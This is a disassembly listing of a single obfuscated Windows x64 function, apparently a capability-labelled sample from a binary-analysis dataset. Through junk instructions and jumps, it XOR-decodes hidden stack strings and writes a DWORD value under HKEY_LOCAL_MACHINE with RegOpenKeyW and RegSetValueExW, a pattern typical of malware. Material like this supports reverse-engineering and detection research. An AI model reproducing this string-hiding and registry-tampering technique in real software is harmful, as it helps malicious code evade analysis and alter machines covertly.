Function at 0x1403ff561
Capabilities:
Set registry value

Disassembly:
push r15
xchg r15w, r15w
bsf ax, bp
movzx r15d, r8w
push r14
movsx r14d, ax
push r13
push r12
push rsi
shrd r13w, dx, 0x8a
cbw
push rdi
push rbp
push rbx
sub rsp, 0x2f8
movsx r13d, r8w
movsx r15, ax
cbw
movabs rax, 0xe009ec3224c8fd6e
cmovg r12d, edx
movsx r12w, r9b
movsx esi, dx
mov qword [rsp + 0x2e0], rax
xchg r13b, sil
movsx r15w, r13b
mov qword [rsp + 0x40], rax
seta r13b
movabs rax, 0x2204bcb80ebea5a3
movsx r15w, sil
not dil
movsxd r14, esi
mov qword [rsp + 0x2d8], rax
setnp dil
movsx esi, r15w
jmp 0x1403ff5ef
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
setp bpl
mov qword [rsp + 0x2d0], rax
movsxd r13, r9d
mov r13w, bx
mov qword [rsp + 0x50], rax
movsx rsi, r11w
mov r15b, 0x58
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
cmovo edi, esp
mov ebp, edx
mov dil, 0xc
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
bswap r13d
movzx rbx, r13w
mov r14w, bp
mov qword [rsp + 0x2c0], rax
not bp
mov qword [rsp + 0x60], rax
movzx r15d, dx
movsx ax, r10b
movsx r15, r11w
movabs rax, 0x4b3964fdcd447246
xchg rbp, r12
movsx rsi, r14w
mov qword [rsp + 0x2b8], rax
movzx r14, cx
movsx rbx, ax
setnp r15b
mov qword [rsp + 0x68], rax
mov bx, r15w
cmovs rax, r13
mov sil, 0xde
movabs rax, 0xee88324679eb2227
movzx r13, cx
mov r12b, 0x97
mov qword [rsp + 0x2b0], rax
movsx rdi, sp
mov qword [rsp + 0x70], rax
xchg r13w, ax
movzx di, r12b
movzx r12d, r15w
movabs rax, 0x6d7346ad6d4ffefa
cmovg r12w, bp
movsxd r15, esi
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
setg sil
cmova bp, bp
mov r14w, r10w
movabs rax, 0xd093683aef376a76
movzx si, dil
mov qword [rsp + 0x2a0], rax
movsx bx, dil
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
bswap di
movsx rsi, r12w
mov qword [rsp + 0x298], rax
jmp 0x1403ff747
mov qword [rsp + 0x88], rax
cmove eax, r11d
movabs rax, 0x33e730243394033e
movzx rbx, r10w
cmove r13w, r8w
mov dil, r14b
mov qword [rsp + 0x290], rax
xchg r14w, bx
mov di, r11w
movsxd rsi, r8d
mov qword [rsp + 0x90], rax
cmovp ax, r13w
setl sil
movabs rax, 0xe7e3977e114e6703
movzx r13d, bx
movsx r15w, sil
jmp 0x1403ff7a5
mov qword [rsp + 0x288], rax
cmove r15w, r9w
setno sil
mov r15w, dx
mov qword [rsp + 0x98], rax
not bx
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
lahf
mov rbp, rdx
movabs rax, 0x6708be65ca8156d7
mov qword [rsp + 0x278], rax
movsx di, r9b
movzx r12d, r15w
mov qword [rsp + 0xa8], rax
not r14
cwde
cmovne ax, ax
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xb0], rax
movzx r13d, r13w
movabs rax, 0x4b8cb541ca050f46
movsx ebx, di
movzx r13d, bp
mov r14w, r11w
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
movsx r14d, r12w
mov ah, 0xa6
xchg r13w, ax
movabs rax, 0xe627ab41184af921
cmovns r12d, r12d
not di
setg r15b
mov qword [rsp + 0x260], rax
seta r14b
mov r15w, bx
mov qword [rsp + 0xc0], rax
mov r15, 0x3cfa4120
cmovg si, di
movabs rax, 0x34c77b6e31b9a
movzx ebx, r8w
movzx r13w, sil
jmp 0x1403ff8ab
mov qword [rsp + 0x258], rax
movzx bp, cl
movsxd rbp, edx
mov qword [rsp + 0xc8], rax
cmovae rdi, r12
jmp 0x1403ff8cf
movabs rax, 0xd8cf4ec0049852bb
movzx rdi, ax
setge bpl
cmovbe di, r11w
mov qword [rsp + 0xd0], rax
not r14b
movsx ebx, cx
movabs rax, 0xa5eac9844f8ea419
mov qword [rsp + 0xd8], rax
movsx r12d, r12w
not r14w
mov qword [rsp + 0x30], 0
jmp 0x1403ff923
mov dword [rsp + 0x3c], 0
lahf
movzx ebp, r13w
movsx r13d, r11w
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
seto al
cdqe
mov qword [rsp + 0xe8], r14
movsx bx, bpl
movabs r15, 0xe05dec612491fd3d
xchg sil, sil
mov si, r15w
mov qword [rsp + 0x100], r15
bswap r13
lahf
movabs r12, 0x2247bce40ef3a5e6
bswap rdi
mov qword [rsp + 0x108], r12
mov eax, r11d
movsx r13d, sp
sets sil
movabs rsi, 0xfbacf3ffe06d2fd7
cbw
mov di, di
movsx edi, di
mov qword [rsp + 0x110], rsi
not rbx
cbw
cmova ax, r13w
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
mov qword [rsp + 0x120], rax
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
bswap r13w
movzx r13w, r13b
movsx r13, r9w
mov qword [rsp + 0x2f0], rax
movzx r13, r12w
setno r13b
not r13d
mov qword [rsp + 0x128], rax
bswap r13w
jmp 0x1403ffa25
movabs rax, 0xeefa322379b8227b
mov r13w, 0x990
mov qword [rsp + 0x250], rax
mov r13w, r12w
mov qword [rsp + 0x130], rax
cbw
movzx r13, r10w
movsxd rax, r10d
movabs rax, 0x6d1646ce6d26fe8c
xchg r13, r13
mov r13w, 0x1949
mov r13d, r15d
mov qword [rsp + 0x248], rax
movzx r13, dx
jmp 0x1403ffa77
mov qword [rsp + 0x138], rax
cdqe
movabs rax, 0xd0fb6869ef6b6a05
cmovns r13w, r12w
movzx r13w, r12b
mov qword [rsp + 0x240], rax
bswap r13w
sets r13b
mov qword [rsp + 0x140], rax
movsx ax, dil
movabs rax, 0xa86b938cd3598c0e
mov r13w, r12w
mov qword [rsp + 0x238], rax
bswap r13w
mov qword [rsp + 0x148], rax
mov r13w, dx
cmovle eax, r8d
movabs rax, 0x3382304733f7037f
movzx r13, r14w
mov qword [rsp + 0x230], rax
mov r13, 0x53c04f6b
mov qword [rsp + 0x150], rax
not r13
bswap r13d
movsx r13, r8w
movabs rax, 0xe7b39722113d6770
mov r13w, 0x59a2
mov qword [rsp + 0x228], rax
movzx r13d, r10w
mov qword [rsp + 0x158], rax
mov r13, 0x63a513af
cmovp r13d, r13d
movabs rax, 0xb66658d58d403a9
movsx r13w, r11b
mov qword [rsp + 0x220], rax
movzx r13d, di
cmovne r13w, dx
mov qword [rsp + 0x160], rax
movsx eax, r14w
cmova ax, dx
cdqe
movabs rax, 0x677abe00caf556b2
bswap r13w
setae r13b
mov r13w, 0x167f
mov qword [rsp + 0x218], rax
setle r13b
movsx r13, r10w
mov qword [rsp + 0x168], rax
not r13d
setbe r13b
movabs rax, 0x46ce040ba50e40e3
movsxd r13, r10d
xchg r13b, r13b
not r13b
mov qword [rsp + 0x210], rax
bswap r13
movsxd r13, ebx
movzx r13w, r8b
mov qword [rsp + 0x170], rax
movzx ax, cl
movabs rax, 0x4bedb536ca600f34
mov r13b, 0xfe
mov r13b, bpl
movsx r13w, dil
mov qword [rsp + 0x208], rax
movsxd r13, r15d
mov qword [rsp + 0x178], rax
movsx eax, r15w
movabs rax, 0xe648ab111826f94d
mov qword [rsp + 0x200], rax
movsx r13d, cx
movsx r13, ax
cmovg r13d, r14d
mov qword [rsp + 0x180], rax
not ax
lahf
jmp 0x1403ffc2e
movabs rax, 0x7a4c14b68a1bf6
not r13w
mov qword [rsp + 0x1f8], rax
mov r13b, 0x9c
cmovno r13w, r10w
xchg r13w, r13w
mov qword [rsp + 0x188], rax
lahf
setno ah
not ax
movabs rax, 0xd8a24eaf04dc52e7
cmovp r13d, esp
movsx r13w, bl
mov qword [rsp + 0x1f0], rax
movsxd r13, r14d
mov r13b, r9b
mov qword [rsp + 0x190], rax
not rax
movabs rax, 0xa5bac9ea4fe7a478
movsx r13d, r13w
bswap r13d
setg r13b
mov qword [rsp + 0x1e8], rax
mov r13b, r9b
setno r13b
movzx r13w, dil
mov qword [rsp + 0x198], rax
lahf
movzx r13, sp
movabs rax, 0x2edd90553e4eda91
movsx r13w, r11b
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1a0], rax
movsxd r13, ebp
cwde
movabs rax, 0x28903e4866e9b93a
not r13b
movsxd r13, r14d
movzx r13, r13w
mov qword [rsp + 0x1d8], rax
not r13d
setns r13b
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
mov al, 0x2a
mov al, r8b
cbw
mov rax, r13
jmp 0x1403ffd26
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ffd30
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ffd3d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403ffd47
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403ffd55
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403ffd5f
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403ffd72
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403ffd80
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403ffd8d
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ffda6
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ffdb7
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403ffdc4
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403ffdd5
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403ffde2
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403ffdf3
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403ffe00
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403ffe1c
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403ffe38
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsxd rcx, esp
movsx ecx, sp
movsx dx, sil
lea rdx, [rsp + 0x40]
mov r8d, 0x1e03289d
lea r8, [rsp + 0x30]
mov rcx, 0x77b416ca
movsxd rcx, edx
mov rcx, 0xffffffff80000002
jmp 0x1403ffe78
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403ffe8d
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x40], rax
bswap eax
movzx eax, r10w
jmp 0x1403ffea5
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403ffebc
mov qword [rsp + 0x48], rax
xchg al, ah
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403ffed2
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
jmp 0x1403ffee4
movabs rax, 0x17c85fba530fa684
jmp 0x1403ffef3
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
movzx ax, spl
movsx rax, r11w
mov qword [rsp + 0x108], r12
movzx ax, dh
mov qword [rsp + 0x110], rsi
xchg ah, ah
mov qword [rsp + 0x118], rdi
movzx eax, r13w
mov rax, r13
jmp 0x1403fff3b
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fff4d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fff57
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
sbb r9d, 0x2260195a
dec r9b
bsr r9, rsi
mov rcx, qword [rsp + 0x30]
lahf
lea rax, [rsp + 0x3c]
bswap r9d
xor r9w, 0x4039
shrd r9w, r9w, 0x2d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
movsx edx, r15w
clc
lea rdx, [rsp + 0x40]
clc
bts r9, r15
sbb r9, 0x123b4f31
xor r8d, r8d
movsx r9w, r13b
mov r9d, 4
jmp 0x1403fffbe
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fffce
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fffe1
mov qword [rsp + 0x40], rax
jmp 0x1403fffed
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ffffa
mov qword [rsp + 0x48], rax
movzx rax, bx
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x14040001d
mov qword [rsp + 0x58], rax
movsx ax, bpl
bswap ax
jmp 0x14040002f
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
bswap ax
mov rax, qword [rsp + 0x2b0]
jmp 0x140400059
mov qword [rsp + 0x70], rax
cwde
mov rax, qword [rsp + 0x2a8]
jmp 0x14040006c
mov qword [rsp + 0x78], rax
xchg ah, al
mov rax, qword [rsp + 0x2a0]
jmp 0x140400080
mov qword [rsp + 0x80], rax
cbw
movsxd rax, r9d
cwde
mov rax, qword [rsp + 0x298]
jmp 0x14040009b
mov qword [rsp + 0x88], rax
cwde
movsx rax, r11w
not ah
mov rax, qword [rsp + 0x290]
jmp 0x1404000b7
mov qword [rsp + 0x90], rax
movsx eax, r11w
mov al, 0xb1
mov al, sil
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1404000e5
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
setno al
cdqe
mov rax, qword [rsp + 0x270]
jmp 0x14040010f
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
movzx ax, r15b
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
jmp 0x140400147
mov rax, qword [rsp + 0x258]
jmp 0x140400154
mov qword [rsp + 0xc8], rax
lahf
movsx ax, cl
movabs rax, 0xd8c04eda048c52bb
jmp 0x140400170
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
jmp 0x140400187
mov qword [rsp + 0xd8], rax
movzx rax, r9w
movsxd rax, r10d
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
cwde
lahf
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
xchg r14b, al
mov qword [rsp + 0x110], rsi
xchg bpl, al
movzx rbp, r12w
mov qword [rsp + 0x118], rdi
mov rbp, rbx
mov qword [rsp + 0x120], rbx
cdqe
mov r14, qword [rsp + 0x2f0]
movzx ax, bh
cdqe
cwde
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x140400203
mov qword [rsp + 0x130], rax
mov al, spl
nop
cbw
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
not al
bswap ax
movsxd rax, ebp
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x140400246
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x14040025b
mov qword [rsp + 0x150], rax
mov ax, r15w
mov rax, qword [rsp + 0x228]
jmp 0x140400274
mov qword [rsp + 0x158], rax
movzx eax, ax
not rax
mov al, 0x60
mov rax, qword [rsp + 0x220]
jmp 0x140400291
mov qword [rsp + 0x160], rax
movsx ax, r14b
mov rax, qword [rsp + 0x218]
jmp 0x1404002ab
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1404002c0
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
movsxd rax, r11d
cwde
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
jmp 0x1404002f1
mov rax, qword [rsp + 0x1f8]
jmp 0x1404002fe
mov qword [rsp + 0x188], rax
setne ah
movsx eax, r9w
movsx ax, dil
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x14040032f
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x140400344
mov qword [rsp + 0x1a0], rax
jmp 0x140400358
mov rax, qword [rsp + 0x1d8]
jmp 0x140400365
mov qword [rsp + 0x1a8], rax
mov ax, si
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x14040037d
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x140400387
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x140400391
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x14040039e
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404003a8
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1404003bf
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1404003cd
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1404003e6
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1404003f3
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140400404
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140400411
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140400422
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x14040042f
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140400440
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x14040045c
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140400478
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x140400485
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
mov r8b, sil
mov ch, 0xb8
lea rdx, [rsp + 0x40]
movsx r8d, ax
mov rcx, 0xffffffff80000002
mov r8b, 0x39
lea r8, [rsp + 0x30]
jmp 0x1404004b7
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx bx, r9b
movsx rbx, sp
mov qword [rsp + 0x40], rax
movzx eax, r12w
mov bh, bh
movzx bx, r14b
mov rax, qword [rsp + 0x1c8]
movsx bx, ah
mov qword [rsp + 0x48], rax
lahf
mov rbx, qword [rsp + 0x2e8]
lahf
mov qword [rsp + 0x50], rbx
movsx eax, dx
jmp 0x140400506
mov rax, qword [rsp + 0x1c0]
jmp 0x140400513
mov qword [rsp + 0x58], rax
cbw
mov qword [rsp + 0x100], r15
movzx rax, di
mov qword [rsp + 0x108], r12
jmp 0x140400533
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cwde
nop
lahf
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x14040055c
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
inc cl
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov r9b, 0x96
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov r9d, 0x505210a
setb r9b
xchg r9w, r9w
mov r9d, 4
jmp 0x1404005a7
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1404005b7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movsx rax, sp
cwde
mov ax, 0x2435
mov rax, qword [rsp + 0x2d8]
jmp 0x1404005e0
mov qword [rsp + 0x48], rax
bswap rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
cdqe
mov rax, qword [rsp + 0x2c0]
jmp 0x140400611
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x140400623
mov qword [rsp + 0x68], rax
bswap ax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
cwde
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
movsx eax, r12w
mov rax, qword [rsp + 0x298]
jmp 0x140400667
mov qword [rsp + 0x88], rax
mov ax, 0x671e
not rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov ax, 0x7079
cbw
mov al, dh
mov rax, qword [rsp + 0x288]
jmp 0x14040069b
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1404006b0
mov qword [rsp + 0xa0], rax
lahf
nop
movsx rax, r12w
mov rax, qword [rsp + 0x278]
jmp 0x1404006cc
mov qword [rsp + 0xa8], rax
jmp 0x1404006de
mov rax, qword [rsp + 0x270]
jmp 0x1404006eb
mov qword [rsp + 0xb0], rax
movsxd rax, edi
mov rax, qword [rsp + 0x268]
jmp 0x140400703
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x140400718
mov qword [rsp + 0xc0], rax
jmp 0x14040072c
mov rax, qword [rsp + 0x258]
jmp 0x140400739
mov qword [rsp + 0xc8], rax
movsx rax, r8w
jmp 0x14040074d
movabs rax, 0xd8c34edb048f52bb
jmp 0x14040075c
mov qword [rsp + 0xd0], rax
mov al, ah
setp ah
jmp 0x14040076e
movabs rax, 0xa5c8c98b4f83a416
jmp 0x14040077d
mov qword [rsp + 0xd8], rax
cbw
movsx eax, ax
bswap eax
movabs rax, 0x2eb290273e1edaf5
jmp 0x14040079b
mov qword [rsp + 0xe0], rax
cdqe
cmovge rax, rax
xchg ah, al
movabs rax, 0x28f53e246680b95c
jmp 0x1404007ba
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x100], r15
cbw
mov al, cl
mov qword [rsp + 0x108], r12
movsx ax, spl
lahf
mov al, 0xd1
mov qword [rsp + 0x110], rsi
lahf
setb al
mov ah, cl
mov qword [rsp + 0x118], rdi
cwde
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x140400822
mov qword [rsp + 0x138], rax
not ah
setno al
mov rax, qword [rsp + 0x240]
jmp 0x14040083c
mov qword [rsp + 0x140], rax
movsx eax, ax
jmp 0x14040084e
mov rax, qword [rsp + 0x238]
jmp 0x14040085b
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x140400870
mov qword [rsp + 0x150], rax
movsxd rax, r10d
mov al, 0x38
cmovs rax, r15
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x14040089e
mov qword [rsp + 0x160], rax
movzx eax, ax
mov rax, qword [rsp + 0x218]
jmp 0x1404008b6
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1404008cb
mov qword [rsp + 0x170], rax
movzx rax, di
movzx eax, bx
mov rax, qword [rsp + 0x208]
jmp 0x1404008e7
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1404008fc
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x140400911
mov qword [rsp + 0x188], rax
bswap rax
movsx rax, cx
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
mov ax, r14w
movsx rax, dx
mov rax, qword [rsp + 0x1e8]
jmp 0x140400945
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x14040095a
mov qword [rsp + 0x1a0], rax
cwde
jmp 0x14040096b
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
cbw
mov ax, 0x170
lahf
movabs rax, 0xa1410f538a85c08b
jmp 0x140400991
mov qword [rsp + 0xf0], rax
jmp 0x14040099e
mov qword [rsp + 0x1b0], rax
nop
cwde
movzx ax, r13b
movabs rax, 0x6078a8fe5539451c
jmp 0x1404009bd
mov qword [rsp + 0xf8], rax
jmp 0x1404009ca